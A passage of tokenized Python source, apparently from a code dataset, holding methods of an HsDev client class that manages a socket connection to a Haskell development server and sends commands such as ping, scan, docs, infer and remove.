", " _", "return_", "self_", "._", "connected_", "._", "is", "\\u", "set_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "is", "\\u", "uncon", "nect", "ed_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "(_", "not_", "self_", "._", "is", "\\u", "connecti", "ng_", "(_", ")_", ")_", "and_", "(_", "not_", "self_", "._", "is", "\\u", "connected_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "set\\u", "uncon", "nect", "ed_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "connecti", "ng_", "._", "is", "\\u", "set_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "connecti", "ng_", "._", "clear_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "connected_", "._", "is", "\\u", "set_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "connected_", "._", "clear_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "set\\u", "connecti", "ng_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "set\\u", "uncon", "nect", "ed_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "connecti", "ng_", "._", "set_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "set\\u", "connected_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "is", "\\u", "connecti", "ng_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "connected_", "._", "set_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "connecti", "ng_", "._", "clear_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "log_", "(_", "'", "Hs", "Dev", ".", "set\\u", "connect", "ed", " ", "call", "ed", " ", "whi", "le", " ", "not", " ", "in", " ", "connecti", "ng", " ", "state", "'_", ",_", "log", "\\u", "debug_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "on", "\\u", "receive_", "(_", "self_", ",_", "id_", ",_", "command_", ",_", "on", "\\u", "response_", "=_", "None_", ",_", "on", "\\u", "notify_", "=_", "None_", ",_", "on", "\\u", "error_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "self_", "._", "map_", "as_", "m_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "m_", "[_", "id_", "]_", "=_", "Hs", "Dev", "Callbacks_", "(_", "id_", ",_", "command_", ",_", "on", "\\u", "response_", ",_", "on", "\\u", "notify_", ",_", "on", "\\u", "error_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "verify", "\\u", "connected_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "is", "\\u", "connected_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "connecti", "on", "\\u", "lost_", "(_", "'", "verify", "\\u", "connect", "ed", "'_", ",_", "'", "no", " ", "connecti", "on", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "is", "\\u", "connected_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "connecti", "on", "\\u", "lost_", "(_", "self_", ",_", "fn_", ",_", "e_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "is", "\\u", "uncon", "nect", "ed_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log_", "(_", "'{", "0", "}:", " ", "connecti", "on", " ", "to", " ", "hs", "dev", " ", "lost", ":", " ", "{", "1", "}'_", "._", "format_", "(_", "fn_", ",_", "e_", ")_", ",_", "log", "\\u", "error_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "call", "\\u", "callback_", "(_", "self_", "._", "on", "\\u", "disconnected", "_", ",_", "name_", "=_", "'", "Hs", "Dev", ".", "on", "\\u", "disconnected", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "send", " ", "error", " ", "to", " ", "callbacks_", "\\u\\u\\uNL\\u\\u\\u_", "with_", "self_", "._", "map_", "as_", "m_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "on", "\\u", "msg_", "in_", "m_", "._", "values_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "on", "\\u", "msg_", "._", "on", "\\u", "error_", "(_", "'", "connecti", "on", " ", "lost", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "m_", "._", "clear_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "id_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "part_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "self_", "._", "autocon", "nect", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "reconnect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "call_", "(_", "self_", ",_", "command_", ",_", "opts_", "=_", "{_", "}_", ",_", "on", "\\u", "response_", "=_", "None_", ",_", "on", "\\u", "notify_", "=_", "None_", ",_", "on", "\\u", "error_", "=_", "None_", ",_", "wait_", "=_", "False_", ",_", "timeout_", "=_", "None_", ",_", "id_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "log_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "args", "\\u", "cmd_", "=_", "'", "hs", "dev", " ", "{", "0", "}'_", "._", "format_", "(_", "command_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "call", "\\u", "cmd_", "=_", "'", "hs", "dev", " ", "{", "0", "}", " ", "with", " ", "{", "1", "}'_", "._", "format_", "(_", "command_", ",_", "opts_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "self_", "._", "verify", "\\u", "connected_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "None_", "if_", "wait_", "else_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "wait", "\\u", "receive_", "=_", "threading_", "._", "Event_", "(_", ")_", "if_", "wait_", "else_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "x_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "on", "\\u", "response", "\\u_", "(_", "r_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "x_", "[_", "'", "result", "'_", "]_", "=_", "r_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "call", "\\u", "callback_", "(_", "on", "\\u", "response_", ",_", "r_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "wait", "\\u", "receive_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "wait", "\\u", "receive_", "._", "set_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "on", "\\u", "error", "\\u_", "(_", "e_", ",_", "ds_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "call", "\\u", "callback_", "(_", "on", "\\u", "error_", ",_", "e_", ",_", "ds_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "wait", "\\u", "receive_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "wait", "\\u", "receive_", "._", "set_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "wait_", "or_", "on", "\\u", "response_", "or_", "on", "\\u", "notify_", "or_", "on", "\\u", "error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "id_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "id_", "=_", "str_", "(_", "self_", "._", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "id_", "=_", "self_", "._", "id_", "+_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "on", "\\u", "receive_", "(_", "id_", ",_", "args", "\\u", "cmd_", ",_", "on", "\\u", "response", "\\u_", ",_", "on", "\\u", "notify_", ",_", "on", "\\u", "error", "\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "opts_", "._", "update_", "(_", "{_", "'", "no", "-", "file", "'_", ":_", "True_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "opts_", "._", "update_", "(_", "{_", "'", "id", "'_", ":_", "id_", ",_", "'", "command", "'_", ":_", "command_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg_", "=_", "json_", "._", "dumps_", "(_", "opts_", ",_", "separators_", "=_", "(_", "','_", ",_", "':'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "See", "ms", ",", " ", "tha", "t", " ", "first", " ", "send", "all", " ", "doe", "sn", "'", "t", " ", "throw", " ", "error", " ", "on", " ", "close", "d", " ", "socket_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "So", " ", "we", " ", "just", " ", "call", " ", "it", " ", "twi", "ce_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "It", "'", "s", " ", "hack", "ish", ",", " ", "but", " ", "I", " ", "have", "n", "'", "t", " ", "found", " ", "easy", " ", "solution_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "hs", "dev", "\\u", "socket_", "._", "sendall_", "(_", "msg_", "._", "encode_", "(_", "'", "utf", "-", "8", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "hs", "dev", "\\u", "socket_", "._", "sendall_", "(_", "'\\\\", "n", "'_", "._", "encode_", "(_", "'", "utf", "-", "8", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log_", "(_", "call", "\\u", "cmd_", ",_", "log", "\\u", "trace_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "wait_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "wait", "\\u", "receive_", "._", "wait_", "(_", "timeout_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "x_", "._", "get_", "(_", "'", "result", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "log_", "(_", "'{", "0", "}", " ", "fail", "s", " ", "with", " ", "exception", ":", " ", "{", "1", "}'_", "._", "format_", "(_", "call", "\\u", "cmd_", ",_", "e_", ")_", ",_", "log", "\\u", "error_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "connecti", "on", "\\u", "lost_", "(_", "'", "call", "'_", ",_", "e_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "listen_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "while_", "self_", "._", "verify", "\\u", "connected_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "resp_", "=_", "json_", "._", "loads_", "(_", "self_", "._", "get", "\\u", "response_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'", "id", "'_", "in_", "resp_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "callbacks_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "self_", "._", "map_", "as_", "m_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "if_", "resp_", "[_", "'", "id", "'_", "]_", "in_", "m_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "callbacks_", "=_", "m_", "[_", "resp_", "[_", "'", "id", "'_", "]_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "callbacks_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "if_", "'", "notif", "y", "'_", "in_", "resp_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "callbacks_", "._", "call", "\\u", "notify_", "(_", "resp_", "[_", "'", "notif", "y", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "'", "error", "'_", "in_", "resp_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "err_", "=_", "resp_", "._", "pop_", "(_", "\"", "error", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "callbacks_", "._", "call", "\\u", "error_", "(_", "err_", ",_", "resp_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "self_", "._", "map_", "as_", "m_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "m_", "._", "pop_", "(_", "resp_", "[_", "'", "id", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "'", "result", "'_", "in_", "resp_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "callbacks_", "._", "call", "\\u", "response_", "(_", "resp_", "[_", "'", "result", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "self_", "._", "map_", "as_", "m_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "m_", "._", "pop_", "(_", "resp_", "[_", "'", "id", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "connecti", "on", "\\u", "lost_", "(_", "'", "listen", "'_", ",_", "e_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "response_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "while_", "not_", "'\\\\", "n", "'_", "in_", "self_", "._", "part_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "part_", "=_", "self_", "._", "part_", "+_", "self_", "._", "socket_", "._", "recv_", "(_", "65536_", ")_", "._", "decode_", "(_", "'", "utf", "-", "8", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "(_", "r_", ",_", "\\u_", ",_", "post_", ")_", "=_", "self_", "._", "part_", "._", "partition_", "(_", "'\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "part_", "=_", "post_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "r_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "command_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "link_", "(_", "self_", ",_", "hold_", "=_", "False_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "cmd_", "(_", "'", "link", "'_", ",_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "hold", "'_", ":_", "hold_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "command_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "ping_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "cmd_", "(_", "'", "ping", "'_", ",_", "{_", "}_", ",_", "lambda_", "r_", ":_", "r_", "and_", "(_", "'", "message", "'_", "in_", "r_", ")_", "and_", "(_", "r_", "[_", "'", "message", "'_", "]_", "==_", "'", "pong", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "async", "\\u", "command_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "scan_", "(_", "self_", ",_", "cab", "al_", "=_", "False_", ",_", "sand", "boxes_", "=_", "[_", "]_", ",_", "projects_", "=_", "[_", "]_", ",_", "files_", "=_", "[_", "]_", ",_", "paths_", "=_", "[_", "]_", ",_", "gh", "c_", "=_", "[_", "]_", ",_", "contents_", "=_", "{_", "}_", ",_", "docs_", "=_", "False_", ",_", "infer_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "cmd_", "(_", "'", "scan", "'_", ",_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "project", "s", "'_", ":_", "projects_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "cab", "al", "'_", ":_", "cab", "al_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "sand", "box", "es", "'_", ":_", "sand", "boxes_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "files", "'_", ":_", "files_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "path", "s", "'_", ":_", "paths_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "s", "'_", ":_", "[_", "{_", "'", "file", "'_", ":_", "f_", ",_", "'", "content", "s", "'_", ":_", "cts_", "}_", "for_", "f_", ",_", "cts_", "in_", "contents_", "._", "items_", "(_", ")_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "gh", "c", "-", "opts", "'_", ":_", "gh", "c_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "docs", "'_", ":_", "docs_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "infer", "'_", ":_", "infer_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "async", "\\u", "command_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "docs_", "(_", "self_", ",_", "projects_", "=_", "[_", "]_", ",_", "files_", "=_", "[_", "]_", ",_", "modules_", "=_", "[_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "cmd_", "(_", "'", "docs", "'_", ",_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "project", "s", "'_", ":_", "projects_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "files", "'_", ":_", "files_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "module", "s", "'_", ":_", "modules_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "async", "\\u", "command_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "infer_", "(_", "self_", ",_", "projects_", "=_", "[_", "]_", ",_", "files_", "=_", "[_", "]_", ",_", "modules_", "=_", "[_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "cmd_", "(_", "'", "infer", "'_", ",_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "project", "s", "'_", ":_", "projects_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "files", "'_", ":_", "files_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "module", "s", "'_", ":_", "modules_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "async", "\\u", "list", "\\u", "command_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "remove_", "(_", "self_", ",_", "cab", "al_", "=_", "False_", ",_", "sand", "boxes_", "=_", "[_", "]_", ",_", "projects_", "=_", "[_", "]_", ",_", "files_", "=_", "[_", "]_", ",_", "packages_", "=_", "[_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "cmd_", "(_", "'", "remove", "'_", ",_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "project", "s", "'_", ":_", "projects_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "cab", "al", "'_", ":_", "cab", "al_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "sand", "box", "es", "'_", ":_", "sand", "boxes_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "files", "'_", ":_", "files_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "package", "s", "'_", ":_", "packages_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "command_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "remove", "\\u", "all_", "(_", "self_", ")_", 